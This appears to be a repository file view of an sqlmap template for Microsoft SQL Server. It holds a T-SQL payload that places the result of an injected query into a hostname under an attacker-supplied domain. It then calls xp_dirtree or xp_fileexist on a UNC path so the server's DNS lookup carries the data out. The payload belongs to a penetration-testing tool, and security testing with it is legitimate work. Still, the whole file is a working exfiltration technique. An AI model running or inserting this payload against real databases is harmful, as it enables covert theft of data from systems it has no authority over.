sqlmap/procs/mssqlserver/dns_request.txt
Miroslav Stampar 698b7a15d9 minor update
2012-04-07 14:14:26 +00:00

5 lines
197 B
Plaintext

DECLARE @host varchar(1024);
SELECT @host='%PREFIX%.'+(%QUERY%)+'.%SUFFIX%.%DOMAIN%';
EXEC('master..xp_dirtree "\\'+@host+'\%RANDSTR1%"')
# or EXEC('master..xp_fileexist "\\'+@host+'\%RANDSTR1%"')